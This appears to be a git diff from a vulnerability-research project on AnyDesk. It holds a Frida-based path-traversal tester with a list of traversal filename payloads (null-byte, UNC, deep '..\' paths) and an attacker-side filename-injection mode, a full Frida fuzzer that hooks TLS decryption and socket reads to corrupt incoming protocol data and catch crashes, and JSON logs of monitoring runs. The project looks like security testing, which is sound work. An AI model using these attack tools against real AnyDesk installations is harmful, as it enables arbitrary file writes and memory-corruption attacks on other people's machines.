"..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_test6.txt\x00ignored.png",
# Long path
"..\\..\\..\\..\\..\\..\\..\\..\\Users\\Public\\Desktop\\traversal_deep.txt",
# UNC path
"\\\\localhost\\C$\\Users\\Public\\Desktop\\traversal_unc.txt",
# Dot-dot with extra dots
"...\\...\\...\\Users\\Public\\Desktop\\traversal_dots.txt",
]
def on_message_monitor(message, data):
if message['type'] == 'send':
payload = message['payload']
msg_type = payload.get('type', '')
if msg_type == 'status':
print(f" [*] {payload['msg']}")
elif msg_type == 'ready':
on_message_monitor.ready = True
elif msg_type == 'file_op':
d = payload['data']
marker = ''
if d['isWrite'] and d['isCreate']:
marker = ' [WRITE+CREATE]'
if d['traversalFlags']:
marker += f' [!!!TRAVERSAL: {",".join(d["traversalFlags"])}!!!]'
print(f" [FILE] {d['type']}: {d['path']}{marker}")
if d.get('stack'):
# Show first 3 frames
frames = d['stack'].split('\n')[:3]
for f in frames:
print(f" {f}")
elif msg_type == 'file_create':
flags = payload.get('traversalFlags', [])
marker = f' [!!!{"·".join(flags)}!!!]' if flags else ''
print(f" [+FILE CREATED] {payload['path']}{marker}")
elif msg_type == 'file_move':
print(f" [MOVE] {payload['src']} -> {payload['dst']}")
elif msg_type == 'file_copy':
print(f" [COPY] {payload['src']} -> {payload['dst']}")
elif msg_type == 'dir_create':
print(f" [MKDIR] {payload['path']}")
elif msg_type == 'alert':
print(f"\n {'!'*60}")
print(f" [!!!] ALERT: {payload['msg']}")
print(f" [!!!] Flags: {payload['flags']}")
print(f" {'!'*60}\n")
elif message['type'] == 'error':
print(f" [!] ERROR: {message['description']}")
on_message_monitor.ready = False
def on_message_inject(message, data):
if message['type'] == 'send':
payload = message['payload']
msg_type = payload.get('type', '')
if msg_type == 'status':
print(f" [*] {payload['msg']}")
elif msg_type == 'ready':
on_message_inject.ready = True
elif msg_type == 'injection':
print(f" [FOUND] Filename at offset {payload['offset']} ({payload['encoding']})")
print(f" Original: {payload['original']}")
print(f" Replacement: {payload['replacement']}")
elif msg_type == 'injected':
print(f" [INJECTED #{payload['count']}] {payload['payload']}")
elif message['type'] == 'error':
print(f" [!] ERROR: {message['description']}")
on_message_inject.ready = False
def find_anydesk_pid():
import subprocess
try:
output = subprocess.check_output(
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
text=True, stderr=subprocess.DEVNULL
)
for line in output.strip().split('\n'):
if 'AnyDesk' in line:
parts = line.strip().strip('"').split('","')
if len(parts) >= 2:
return int(parts[1].strip('"'))
except:
pass
return None
def main():
parser = argparse.ArgumentParser(description='AnyDesk File Transfer Path Traversal Tester')
parser.add_argument('--phase', choices=['monitor', 'inject'], required=True,
help='monitor=watch file writes on victim, inject=modify filenames on attacker')
parser.add_argument('--filename', default='traversal_probe.txt',
help='Filename to search for and replace (for inject phase)')
args = parser.parse_args()
print("=" * 60)
print(f" AnyDesk Path Traversal Tester — Phase: {args.phase.upper()}")
print("=" * 60)
pid = find_anydesk_pid()
if not pid:
print("[!] AnyDesk.exe not found.")
sys.exit(1)
print(f"[+] Found AnyDesk.exe (PID: {pid})")
try:
session = frida.attach(pid)
except Exception as e:
print(f"[!] Frida attach failed: {e}")
print("[!] Run as Administrator.")
sys.exit(1)
if args.phase == 'monitor':
print("[+] Monitoring file operations...")
print("[+] Transfer a file via AnyDesk to this machine to see where it lands")
script = session.create_script(MONITOR_AGENT, runtime='v8')
script.on('message', on_message_monitor)
script.load()
for _ in range(100):
if on_message_monitor.ready:
break
time.sleep(0.1)
print(f"\n{'=' * 60}")
print(" MONITORING — send a file to this AnyDesk instance now")
print(" Press Ctrl+C to stop")
print(f"{'=' * 60}\n")
elif args.phase == 'inject':
print(f"[+] Injection mode — target filename: '{args.filename}'")
print(f"[+] Create a file named '{args.filename}' and transfer it via AnyDesk")
payloads_json = json.dumps(TRAVERSAL_PAYLOADS)
agent_code = INJECT_AGENT.replace('%PAYLOADS%', payloads_json)
agent_code = agent_code.replace('%TARGET_FILENAME%', args.filename)
script = session.create_script(agent_code, runtime='v8')
script.on('message', on_message_inject)
script.load()
for _ in range(100):
if on_message_inject.ready:
break
time.sleep(0.1)
print(f"\n{'=' * 60}")
print(f" INJECTION ARMED — send '{args.filename}' via AnyDesk file transfer")
print(" Press Ctrl+C to stop")
print(f"{'=' * 60}\n")
try:
while True:
time.sleep(0.1)
except KeyboardInterrupt:
print("\n[+] Stopped.")
session.detach()
if __name__ == '__main__':
main()
+538
View File
@@ -0,0 +1,538 @@
"""
AnyDesk Blind Protocol Fuzzer
Hooks the RECEIVING side's TLS decryption and mutates incoming data
to trigger crashes in codec/protocol parsing.
Modes:
--mode random : Random byte flips in all incoming data
--mode dimensions : Target likely dimension fields (2-byte and 4-byte values 100-8192)
--mode overflow : Replace small size values with large ones (integer overflow)
--mode all : Cycle through all mutation strategies
Run on the VICTIM side while connected to attacker.
The attacker just needs to move the mouse / show screen content to generate frames.
Usage: python 04_fuzzer.py --mode all --intensity medium
"""
import frida
import sys
import os
import json
import time
import random
import argparse
from datetime import datetime
FUZZER_AGENT = r"""
'use strict';
const FUZZ_MODE = '%FUZZ_MODE%';
const INTENSITY = %INTENSITY%; // 0.0-1.0, probability of mutating a packet
const SKIP_FIRST_N = %SKIP_FIRST_N%; // Skip first N packets (handshake)
let packetCount = 0;
let mutationCount = 0;
let crashDetected = false;
// Mutation strategies
const strategies = {
// Flip random bytes
random: function(arr, len) {
const numFlips = Math.max(1, Math.floor(len * 0.01)); // 1% of bytes
for (let i = 0; i < numFlips; i++) {
const idx = Math.floor(Math.random() * len);
arr[idx] = Math.floor(Math.random() * 256);
}
return `random_flip(${numFlips})`;
},
// Target dimension-like fields: find 2/4-byte LE values between 100-8192
// and replace with edge cases
dimensions: function(arr, len) {
const edgeCases16 = [0, 1, 0x7FFF, 0x8000, 0xFFFF, 0xFFFE, 65535, 32768, 32767];
const edgeCases32 = [0, 1, 0x7FFFFFFF, 0x80000000, 0xFFFFFFFF, 0xFFFFFFFE,
0x10000, 0xFFFF, 65536, 2147483647];
let mutations = [];
// Scan for 4-byte values that look like dimensions
for (let i = 0; i < len - 4; i += 2) {
const val = arr[i] | (arr[i+1] << 8) | (arr[i+2] << 16) | (arr[i+3] << 24);
if (val >= 100 && val <= 8192) {
// This might be a width/height — replace with edge case
if (Math.random() < 0.3) {
const edge = edgeCases32[Math.floor(Math.random() * edgeCases32.length)];
arr[i] = edge & 0xFF;
arr[i+1] = (edge >> 8) & 0xFF;
arr[i+2] = (edge >> 16) & 0xFF;
arr[i+3] = (edge >> 24) & 0xFF;
mutations.push(`dim32@${i}:${val}->${edge}`);
}
}
// Also check 2-byte values
const val16 = arr[i] | (arr[i+1] << 8);
if (val16 >= 100 && val16 <= 4096) {
if (Math.random() < 0.2) {
const edge = edgeCases16[Math.floor(Math.random() * edgeCases16.length)];
arr[i] = edge & 0xFF;
arr[i+1] = (edge >> 8) & 0xFF;
mutations.push(`dim16@${i}:${val16}->${edge}`);
}
}
}
return mutations.length > 0 ? mutations.join(', ') : 'no_dims_found';
},
// Integer overflow: find size-like fields and make them huge
overflow: function(arr, len) {
let mutations = [];
// Look for 4-byte values that could be sizes (reasonable range)
for (let i = 0; i < len - 4; i += 4) {
const val = arr[i] | (arr[i+1] << 8) | (arr[i+2] << 16) | (arr[i+3] << 24);
// Sizes typically > 0 and < 10MB
if (val > 0 && val < 10 * 1024 * 1024) {
if (Math.random() < 0.15) {
// Integer overflow payloads
const overflows = [
0xFFFFFFFF, // Max uint32
0x80000000, // Int32 sign flip
val * 0x10001, // width*height overflow pattern
0x7FFFFFFF, // Max int32
val | 0xFF000000, // High bytes set
(val << 16) | val, // Doubled
0x01000000, // 16MB (alloc stress)
0x10000000, // 256MB
0xFFFFFFF0, // Near-max aligned
];
const ov = overflows[Math.floor(Math.random() * overflows.length)];
arr[i] = ov & 0xFF;
arr[i+1] = (ov >> 8) & 0xFF;
arr[i+2] = (ov >> 16) & 0xFF;
arr[i+3] = (ov >> 24) & 0xFF;
mutations.push(`overflow@${i}:${val}->0x${(ov >>> 0).toString(16)}`);
}
}
}
return mutations.length > 0 ? mutations.join(', ') : 'no_sizes_found';
}
};
function mutatePacket(buf) {
const arr = new Uint8Array(buf);
const len = arr.length;
if (len < 8) return null; // Too small to fuzz meaningfully
let strategy;
if (FUZZ_MODE === 'all') {
const modes = ['random', 'dimensions', 'overflow'];
strategy = modes[mutationCount % modes.length];
} else {
strategy = FUZZ_MODE;
}
const desc = strategies[strategy](arr, len);
return {strategy: strategy, desc: desc};
}
// ============================================================
// Hook DecryptMessage (SChannel) — mutate data AFTER decryption
// ============================================================
function hookDecrypt() {
const DecryptMessage = Module.findExportByName('sspicli.dll', 'DecryptMessage') ||
Module.findExportByName('secur32.dll', 'DecryptMessage');
if (DecryptMessage) {
Interceptor.attach(DecryptMessage, {
onEnter(args) {
this.pMessage = args[1];
},
onLeave(retval) {
if (retval.toInt32() !== 0) return;
packetCount++;
if (packetCount <= SKIP_FIRST_N) return; // Skip handshake
if (Math.random() > INTENSITY) return; // Probabilistic
try {
const pBufDesc = this.pMessage;
const cBuffers = pBufDesc.add(4).readU32();
const pBuffers = pBufDesc.add(8).readPointer();
for (let i = 0; i < cBuffers; i++) {
const bufPtr = pBuffers.add(i * 16);
const cbBuffer = bufPtr.readU32();
const bufType = bufPtr.add(4).readU32();
const pvBuffer = bufPtr.add(8).readPointer();
if (bufType === 1 && cbBuffer > 16 && cbBuffer < 1024 * 1024) {
const data = pvBuffer.readByteArray(cbBuffer);
const result = mutatePacket(data);
if (result) {
pvBuffer.writeByteArray(data);
mutationCount++;
if (mutationCount % 10 === 0 || mutationCount <= 5) {
send({
type: 'mutation',
seq: packetCount,
size: cbBuffer,
strategy: result.strategy,
desc: result.desc,
totalMutations: mutationCount,
timestamp: Date.now()
});
}
}
}
}
} catch(e) {
send({type: 'error', msg: e.toString()});
}
}
});
return true;
}
return false;
}
// ============================================================
// Hook SSL_read (OpenSSL) — mutate after read
// ============================================================
function hookSSLRead() {
let hooked = false;
const mods = Process.enumerateModules();
for (const m of mods) {
if (m.name.toLowerCase().includes('ssl')) {
try {
const exports = m.enumerateExports();
for (const exp of exports) {
if (exp.name === 'SSL_read') {
Interceptor.attach(exp.address, {
onEnter(args) {
this.buf = args[1];
},
onLeave(retval) {
const read = retval.toInt32();
if (read <= 0) return;
packetCount++;
if (packetCount <= SKIP_FIRST_N) return;
if (Math.random() > INTENSITY) return;
const data = this.buf.readByteArray(read);
const result = mutatePacket(data);
if (result) {
this.buf.writeByteArray(data);
mutationCount++;
if (mutationCount % 10 === 0 || mutationCount <= 5) {
send({
type: 'mutation',
seq: packetCount,
size: read,
strategy: result.strategy,
desc: result.desc,
totalMutations: mutationCount,
timestamp: Date.now()
});
}
}
}
});
hooked = true;
}
}
} catch(e) {}
}
}
return hooked;
}
// ============================================================
// Fallback: Hook ws2_32!recv and mutate raw (may break TLS)
// ============================================================
function hookRawRecv() {
const wsRecv = Module.findExportByName('ws2_32.dll', 'recv');
if (wsRecv) {
Interceptor.attach(wsRecv, {
onEnter(args) {
this.buf = args[1];
},
onLeave(retval) {
const received = retval.toInt32();
if (received <= 0) return;
packetCount++;
if (packetCount <= SKIP_FIRST_N) return;
if (Math.random() > INTENSITY) return;
const data = this.buf.readByteArray(received);
const result = mutatePacket(data);
if (result) {
this.buf.writeByteArray(data);
mutationCount++;
if (mutationCount % 50 === 0 || mutationCount <= 3) {
send({
type: 'mutation',
seq: packetCount,
size: received,
strategy: result.strategy,
desc: result.desc,
totalMutations: mutationCount,
note: 'RAW_SOCKET (may break TLS)',
timestamp: Date.now()
});
}
}
}
});
return true;
}
return false;
}
// ============================================================
// Crash detection: hook common crash paths
// ============================================================
function setupCrashDetection() {
// Hook UnhandledExceptionFilter
const uef = Module.findExportByName('kernel32.dll', 'UnhandledExceptionFilter');
if (uef) {
Interceptor.attach(uef, {
onEnter(args) {
const exceptionRecord = args[0];
try {
const exceptionCode = exceptionRecord.readU32();
const exceptionAddress = exceptionRecord.add(Process.pointerSize * 2).readPointer();
send({
type: 'crash',
code: '0x' + (exceptionCode >>> 0).toString(16),
address: exceptionAddress.toString(),
totalPackets: packetCount,
totalMutations: mutationCount,
timestamp: Date.now()
});
crashDetected = true;
} catch(e) {}
}
});
}
// Hook RtlReportException / RaiseException for earlier detection
const raiseEx = Module.findExportByName('kernel32.dll', 'RaiseException');
if (raiseEx) {
Interceptor.attach(raiseEx, {
onEnter(args) {
const code = args[0].toInt32() >>> 0;
// Filter: only report access violations, heap corruption, stack overflow
if (code === 0xC0000005 || code === 0xC0000374 || code === 0xC00000FD ||
code === 0xC0000409) {
send({
type: 'exception',
code: '0x' + code.toString(16),
codeName: {
0xC0000005: 'ACCESS_VIOLATION',
0xC0000374: 'HEAP_CORRUPTION',
0xC00000FD: 'STACK_OVERFLOW',
0xC0000409: 'STACK_BUFFER_OVERRUN'
}[code] || 'UNKNOWN',
totalPackets: packetCount,
totalMutations: mutationCount,
stack: Thread.backtrace(this.context, Backtracer.ACCURATE)
.map(DebugSymbol.fromAddress).join('\n'),
timestamp: Date.now()
});
}
}
});
}
send({type: 'status', msg: 'Crash detection hooks installed'});
}
// ============================================================
// Main
// ============================================================
send({type: 'status', msg: `Fuzzer starting (mode: ${FUZZ_MODE}, intensity: ${INTENSITY})`});
send({type: 'status', msg: `Skipping first ${SKIP_FIRST_N} packets (handshake protection)`});
setupCrashDetection();
let hooked = hookDecrypt();
if (!hooked) hooked = hookSSLRead();
if (!hooked) {
send({type: 'status', msg: 'WARNING: No TLS hooks available. Falling back to raw socket (unstable).'});
hookRawRecv();
}
send({type: 'status', msg: 'Fuzzer active. Make sure attacker screen is visible / moving...'});
send({type: 'ready'});
// Periodic stats
setInterval(function() {
send({
type: 'stats',
packets: packetCount,
mutations: mutationCount,
crashDetected: crashDetected,
timestamp: Date.now()
});
}, 5000);
""";
def find_anydesk_pid():
import subprocess
try:
output = subprocess.check_output(
['tasklist', '/FI', 'IMAGENAME eq AnyDesk.exe', '/FO', 'CSV', '/NH'],
text=True, stderr=subprocess.DEVNULL
)
for line in output.strip().split('\n'):
if 'AnyDesk' in line:
parts = line.strip().strip('"').split('","')
if len(parts) >= 2:
return int(parts[1].strip('"'))
except:
pass
return None
class FuzzerState:
def __init__(self):
self.ready = False
self.mutations = 0
self.packets = 0
self.crashes = []
self.exceptions = []
self.start_time = time.time()
def on_message(self, message, data):
if message['type'] == 'send':
payload = message['payload']
msg_type = payload.get('type', '')
if msg_type == 'status':
print(f" [*] {payload['msg']}")
elif msg_type == 'ready':
self.ready = True
elif msg_type == 'mutation':
self.mutations = payload.get('totalMutations', self.mutations + 1)
print(f" [FUZZ #{self.mutations}] pkt#{payload['seq']} "
f"{payload['size']}b {payload['strategy']}: {payload['desc']}")
elif msg_type == 'stats':
elapsed = time.time() - self.start_time
self.packets = payload['packets']
self.mutations = payload['mutations']
rate = self.mutations / elapsed if elapsed > 0 else 0
print(f" [STATS] {self.packets} pkts, {self.mutations} mutations "
f"({rate:.1f}/s), {len(self.crashes)} crashes, {len(self.exceptions)} exceptions")
elif msg_type == 'crash':
self.crashes.append(payload)
print(f"\n {'!'*60}")
print(f" [CRASH] Exception 0x{payload['code']} at {payload['address']}")
print(f" [CRASH] After {payload['totalPackets']} packets, {payload['totalMutations']} mutations")
print(f" {'!'*60}\n")
elif msg_type == 'exception':
self.exceptions.append(payload)
print(f"\n [EXCEPTION] {payload['codeName']} (0x{payload['code']})")
print(f" After {payload['totalPackets']} packets, {payload['totalMutations']} mutations")
if payload.get('stack'):
for frame in payload['stack'].split('\n')[:5]:
print(f" {frame}")
print()
elif msg_type == 'error':
print(f" [!] {payload['msg']}")
elif message['type'] == 'error':
print(f" [!] FRIDA ERROR: {message['description']}")
def save_results(self, path):
results = {
'duration': time.time() - self.start_time,
'total_packets': self.packets,
'total_mutations': self.mutations,
'crashes': self.crashes,
'exceptions': self.exceptions
}
with open(path, 'w') as f:
json.dump(results, f, indent=2)
print(f"[+] Results saved to {path}")
def main():
parser = argparse.ArgumentParser(description='AnyDesk Blind Protocol Fuzzer')
parser.add_argument('--mode', choices=['random', 'dimensions', 'overflow', 'all'],
default='all', help='Mutation strategy')
parser.add_argument('--intensity', choices=['low', 'medium', 'high', 'max'],
default='medium', help='Mutation probability per packet')
parser.add_argument('--skip', type=int, default=50,
help='Skip first N packets (handshake protection)')
args = parser.parse_args()
intensity_map = {'low': 0.05, 'medium': 0.15, 'high': 0.4, 'max': 0.9}
intensity = intensity_map[args.intensity]
print("=" * 60)
print(" AnyDesk Blind Protocol Fuzzer")
print("=" * 60)
print(f" Mode: {args.mode}")
print(f" Intensity: {args.intensity} ({intensity*100:.0f}% of packets)")
print(f" Skip first: {args.skip} packets")
print()
pid = find_anydesk_pid()
if not pid:
print("[!] AnyDesk.exe not found.")
sys.exit(1)
print(f"[+] Found AnyDesk.exe (PID: {pid})")
state = FuzzerState()
try:
session = frida.attach(pid)
except Exception as e:
print(f"[!] Frida attach failed: {e}")
print("[!] Run as Administrator.")
sys.exit(1)
agent_code = FUZZER_AGENT.replace('%FUZZ_MODE%', args.mode)
agent_code = agent_code.replace('%INTENSITY%', str(intensity))
agent_code = agent_code.replace('%SKIP_FIRST_N%', str(args.skip))
script = session.create_script(agent_code, runtime='v8')
script.on('message', state.on_message)
script.load()
for _ in range(100):
if state.ready:
break
time.sleep(0.1)
print(f"\n{'=' * 60}")
print(" FUZZING — move mouse on attacker screen to generate frames")
print(" Press Ctrl+C to stop and save results")
print(f"{'=' * 60}\n")
try:
while True:
time.sleep(0.1)
except KeyboardInterrupt:
print("\n\n[+] Stopping fuzzer...")
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
state.save_results(f"fuzz_results_{timestamp}.json")
if state.crashes:
print(f"\n[!!!] {len(state.crashes)} CRASHES DETECTED — review results file")
if state.exceptions:
print(f"[!!!] {len(state.exceptions)} EXCEPTIONS DETECTED — review results file")
session.detach()
if __name__ == '__main__':
main()
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,4 @@
{
"duration": 42.555851221084595,
"events": []
}
@@ -0,0 +1,4 @@
{
"duration": 35.574270486831665,
"events": []
}
@@ -0,0 +1,4 @@
{
"dur": 45.991546869277954,
"events": []
}
@@ -0,0 +1,4 @@
{
"dur": 8.54698896408081,
"events": []
}
@@ -0,0 +1,39 @@
{
"dur": 33.388368129730225,
"events": [
{
"t": "write",
"sz": 125,
"tags": [
"STR: info 2026-03-17 21:57:31.702 front 18648 5788 "
],
"ts": 1773784651702
},
{
"t": "write",
"sz": 146,
"tags": [
"STR:warning 2026-03-17 21:57:31.702 front 18648 5788 "
],
"ts": 1773784651702
},
{
"t": "bmp",
"op": "Compat",
"w": 160,
"h": 28,
"bpp": 0,
"alloc": 0,
"ts": 1773784655207
},
{
"t": "bmp",
"op": "Compat",
"w": 160,
"h": 28,
"bpp": 0,
"alloc": 0,
"ts": 1773784659137
}
]
}
@@ -0,0 +1,39 @@
{
"dur": 160.77614212036133,
"events": [
{
"t": "write",
"sz": 125,
"tags": [
"STR: info 2026-03-17 21:59:56.150 front 18648 19352 "
],
"ts": 1773784796151
},
{
"t": "write",
"sz": 146,
"tags": [
"STR:warning 2026-03-17 21:59:56.151 front 18648 19352 "
],
"ts": 1773784796151
},
{
"t": "bmp",
"op": "Compat",
"w": 160,
"h": 28,
"bpp": 0,
"alloc": 0,
"ts": 1773784803588
},
{
"t": "bmp",
"op": "Compat",
"w": 160,
"h": 28,
"bpp": 0,
"alloc": 0,
"ts": 1773784807546
}
]
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,873 @@
{
"dur": 32.31355547904968,
"events": [
{
"t": "net",
"d": "R",
"sz": 5,
"n": 1,
"ts": 1773785114886,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 75,
"n": 2,
"ts": 1773785114886,
"pid": 18852
},
{
"t": "write",
"sz": 142,
"tags": [
"STR: info 2026-03-17 22:05:14.886 lsvc 18852 2452 11 "
],
"ts": 1773785114886,
"pid": 18852
},
{
"t": "write",
"sz": 118,
"tags": [
"STR: info 2026-03-17 22:05:14.886 lsvc 18852 2452 2 "
],
"ts": 1773785114886,
"pid": 18852
},
{
"t": "write",
"sz": 156,
"tags": [
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 2 "
],
"ts": 1773785114887,
"pid": 18852
},
{
"t": "write",
"sz": 128,
"tags": [
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 112 "
],
"ts": 1773785114887,
"pid": 18852
},
{
"t": "write",
"sz": 125,
"tags": [
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 112 "
],
"ts": 1773785114887,
"pid": 18852
},
{
"t": "write",
"sz": 143,
"tags": [
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 112 "
],
"ts": 1773785114887,
"pid": 18852
},
{
"t": "write",
"sz": 120,
"tags": [
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 113 "
],
"ts": 1773785114887,
"pid": 18852
},
{
"t": "write",
"sz": 131,
"tags": [
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
],
"ts": 1773785114889,
"pid": 18852
},
{
"t": "write",
"sz": 131,
"tags": [
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
],
"ts": 1773785114889,
"pid": 18852
},
{
"t": "write",
"sz": 125,
"tags": [
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
],
"ts": 1773785114889,
"pid": 18852
},
{
"t": "write",
"sz": 129,
"tags": [
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
],
"ts": 1773785114889,
"pid": 18852
},
{
"t": "net",
"d": "S",
"sz": 41,
"n": 1,
"ts": 1773785114889,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 5,
"n": 3,
"ts": 1773785114936,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 149,
"n": 4,
"ts": 1773785114936,
"pid": 18852
},
{
"t": "write",
"sz": 141,
"tags": [
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
],
"ts": 1773785114937,
"pid": 18852
},
{
"t": "write",
"sz": 153,
"tags": [
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
],
"ts": 1773785114937,
"pid": 18852
},
{
"t": "write",
"sz": 170,
"tags": [
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
],
"ts": 1773785114937,
"pid": 18852
},
{
"t": "write",
"sz": 129,
"tags": [
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
],
"ts": 1773785114937,
"pid": 18852
},
{
"t": "write",
"sz": 139,
"tags": [
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
],
"ts": 1773785114937,
"pid": 18852
},
{
"t": "write",
"sz": 117,
"tags": [
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
],
"ts": 1773785114937,
"pid": 18852
},
{
"t": "write",
"sz": 116,
"tags": [
"STR: info 2026-03-17 22:05:14.944 lsvc 18852 2452 113 "
],
"ts": 1773785114944,
"pid": 18852
},
{
"t": "write",
"sz": 157,
"tags": [
"STR: info 2026-03-17 22:05:14.944 lsvc 18852 2452 113 "
],
"ts": 1773785114944,
"pid": 18852
},
{
"t": "write",
"sz": 134,
"tags": [
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
],
"ts": 1773785114945,
"pid": 18852
},
{
"t": "write",
"sz": 150,
"tags": [
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
],
"ts": 1773785114945,
"pid": 18852
},
{
"t": "write",
"sz": 132,
"tags": [
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
],
"ts": 1773785114945,
"pid": 18852
},
{
"t": "write",
"sz": 130,
"tags": [
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
],
"ts": 1773785114945,
"pid": 18852
},
{
"t": "write",
"sz": 151,
"tags": [
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
],
"ts": 1773785114945,
"pid": 18852
},
{
"t": "write",
"sz": 133,
"tags": [
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
],
"ts": 1773785114945,
"pid": 18852
},
{
"t": "write",
"sz": 133,
"tags": [
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
],
"ts": 1773785114945,
"pid": 18852
},
{
"t": "write",
"sz": 146,
"tags": [
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
],
"ts": 1773785114945,
"pid": 18852
},
{
"t": "write",
"sz": 155,
"tags": [
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
],
"ts": 1773785114946,
"pid": 18852
},
{
"t": "write",
"sz": 122,
"tags": [
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
],
"ts": 1773785114946,
"pid": 18852
},
{
"t": "write",
"sz": 133,
"tags": [
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
],
"ts": 1773785114946,
"pid": 18852
},
{
"t": "write",
"sz": 125,
"tags": [
"STR:warning 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
],
"ts": 1773785114946,
"pid": 18852
},
{
"t": "write",
"sz": 130,
"tags": [
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
],
"ts": 1773785114946,
"pid": 18852
},
{
"t": "write",
"sz": 125,
"tags": [
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
],
"ts": 1773785114946,
"pid": 18852
},
{
"t": "net",
"d": "S",
"sz": 109,
"n": 2,
"ts": 1773785114947,
"pid": 18852
},
{
"t": "net",
"d": "S",
"sz": 37,
"n": 3,
"ts": 1773785114947,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 5,
"n": 5,
"ts": 1773785114962,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 22,
"n": 6,
"ts": 1773785114962,
"pid": 18852
},
{
"t": "write",
"sz": 127,
"tags": [
"STR: info 2026-03-17 22:05:14.962 lsvc 18852 2452 113 "
],
"ts": 1773785114962,
"pid": 18852
},
{
"t": "write",
"sz": 122,
"tags": [
"STR: info 2026-03-17 22:05:14.962 lsvc 18852 2452 113 "
],
"ts": 1773785114962,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 5,
"n": 7,
"ts": 1773785114976,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 22,
"n": 8,
"ts": 1773785114976,
"pid": 18852
},
{
"t": "write",
"sz": 130,
"tags": [
"STR: info 2026-03-17 22:05:14.976 lsvc 18852 2452 113 "
],
"ts": 1773785114976,
"pid": 18852
},
{
"t": "net",
"d": "S",
"sz": 27,
"n": 4,
"ts": 1773785114977,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 5,
"n": 9,
"ts": 1773785114977,
"pid": 18852
},
{
"t": "net",
"d": "R",
"sz": 7854,
"n": 10,
"ts": 1773785114977,
"pid": 18852
},
{
"t": "write",
"sz": 124,
"tags": [
"STR: info 2026-03-17 22:05:14.986 lsvc 18852 2452 112 "
],
"ts": 1773785114986,
"pid": 18852
},
{
"t": "write",
"sz": 170,
"tags": [
"STR: info 2026-03-17 22:05:14.999 lsvc 18852 2452 112 "
],
"ts": 1773785114999,
"pid": 18852
},
{
"t": "write",
"sz": 167,
"tags": [
"STR: info 2026-03-17 22:05:14.999 lsvc 18852 2452 112 "
],
"ts": 1773785114999,
"pid": 18852
},
{
"t": "write",
"sz": 131,
"tags": [
"STR: info 2026-03-17 22:05:14.999 lsvc 18852 2452 112 "
],
"ts": 1773785114999,
"pid": 18852
},
{
"t": "write",
"sz": 153,
"tags": [
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
],
"ts": 1773785115076,
"pid": 18852
},
{
"t": "write",
"sz": 136,
"tags": [
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
],
"ts": 1773785115076,
"pid": 18852
},
{
"t": "write",
"sz": 140,
"tags": [
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
],
"ts": 1773785115076,
"pid": 18852
},
{
"t": "write",
"sz": 146,
"tags": [
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
],
"ts": 1773785115076,
"pid": 18852
},
{
"t": "write",
"sz": 225,
"tags": [
"STR: info 2026-03-17 22:05:15.077 lsvc 18852 2452 112 "
],
"ts": 1773785115077,
"pid": 18852
},
{
"t": "write",
"sz": 147,
"tags": [
"STR: info 2026-03-17 22:05:15.077 lsvc 18852 2452 112 "
],
"ts": 1773785115077,
"pid": 18852
},
{
"t": "file",
"op": "Create",
"path": "C:\\Users\\Mes\\Downloads\\AnyDesk.exe",
"w": false,
"c": false,
"fl": [],
"ts": 1773785115081,
"pid": 18852
},
{
"t": "write",
"sz": 131,
"tags": [
"STR: info 2026-03-17 22:05:15.084 lsvc 18852 2452 112 "
],
"ts": 1773785115084,
"pid": 18852
},
{
"t": "write",
"sz": 117,
"tags": [
"STR: info 2026-03-17 22:05:15.084 lsvc 18852 2452 112 "
],
"ts": 1773785115084,
"pid": 18852
},
{
"t": "write",
"sz": 128,
"tags": [
"STR: info 2026-03-17 22:05:15.084 lsvc 18852 2452 112 "
],
"ts": 1773785115084,
"pid": 18852
},
{
"t": "write",
"sz": 129,
"tags": [
"STR: info 2026-03-17 22:05:15.087 lsvc 18852 2452 112 "
],
"ts": 1773785115087,
"pid": 18852
},
